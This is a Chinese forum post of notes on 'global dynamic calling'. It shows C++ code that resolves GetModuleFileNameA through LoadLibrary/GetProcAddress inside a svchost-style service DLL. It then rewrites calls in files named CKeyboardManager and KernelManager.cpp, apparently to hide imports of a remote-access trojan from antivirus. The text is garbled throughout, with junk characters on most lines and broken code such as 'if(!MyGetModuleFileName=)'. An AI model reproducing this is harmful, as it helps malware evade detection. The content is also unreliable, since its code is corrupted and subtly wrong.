[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
' R% r7 D& o. ?9 L* Esvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h' d9 t6 e) x' W
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; A( c  D7 `& x# I* K0 CDTDY.h：1 d8 S3 {7 p* \# \/ B. K9 h

3 h5 k1 C+ A$ }. m0 x( s! Y#if _MSC_VER>1000/ S, X1 K! \% ^" s0 D! d3 y
#pragma once& W6 o9 T( \" N6 K) {
#endif //_MSC_VER>1000
3 W0 x2 [. f6 b7 E#include<windows.h>, r. I  `+ Y* P/ w
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);4 H9 S( `% r$ K, ~7 i6 o& l
class DTDY
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public:4 R/ M& m0 g6 u, S
DTDY();8 a$ o3 z: o9 q) e
virtual ~DTDY();) T. |& ^% G1 w1 N0 w
public:+ U8 F6 ^& E( M# w: I2 Y
static pGetModuleFileNameA MyGetModuleFileName;" g9 O4 b& ~! V. X0 r  D8 @
static BOOL FunInitiallization();
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#endif1 g. M7 a0 r. N  o- L
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( }6 [6 V$ x. Z( \/ ADTDY.cpp:7 Y* W7 t* ^3 i9 C( V

! h& j; Y( ]3 y7 z#include "DTDY.h"/ E$ ~. ^7 d, W8 R
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
# n- R* F, H  N5 U/ }) N4 [& \1 _! NDTDY:TDY()
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}
! o9 D7 x& j& j4 W+ `. B) IDTDY::~DTDY()5 \: m- k% H9 }' f, P6 L
{
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BOOL DTDY::FunInitiallization()
  {4 F* V4 \) ?6 M{
$ ~4 }+ d+ B0 CHMODULE hModule=LoadLibrary("kernel32.dll");# V6 i0 E% Q+ n0 U
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
7 w7 P- @& m2 e: i1 H% a/ Vif(!MyGetModuleFileName=) return FALSE;2 H. o( r7 Y6 s7 J5 E

$ A' G$ F3 F4 [4 yreturn TRUE;+ B* @. `* J. z
}
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svchost.cpp:0 g9 M+ c3 u+ [. m0 L

" o, e. h7 }! [2 Z, |#include "DTDY.h", o5 L4 m1 E) l! ]2 l5 [
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BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)/ v$ q5 W' ?$ q- y
{
# N" V6 R8 g6 M0 A. [: uswitch(ul_reason_for_call); K6 k& J3 t# G3 u
{
- b) d- n( ^# u4 U7 jcase DLL_PROCESS_ATTACH:
/ |  ?; b; W- e5 u& m4 [/ Sif(!DTDY::FunInitiallization()) return FALSE;
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- i1 k, o/ o' u% ^9 o/ Rbreak;
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}
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7 N+ k3 D& D7 G0 _GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
8 q% E% w% G+ |' K改写为
! _2 O- A1 X! _& a8 k# i+ ?0 }/ VDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));7 G: w3 i/ n4 g3 `/ B( u
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$ ]$ W$ Y+ B2 }& OKernelManager.cpp:
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; P- v' ^/ v4 E) V* [* M#include "../DTDY.h"& n/ F/ h0 U5 R
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
7 ~7 H$ j# S) M# l  \  s改写为
6 {% O6 Q: c1 ]+ X! B, ~DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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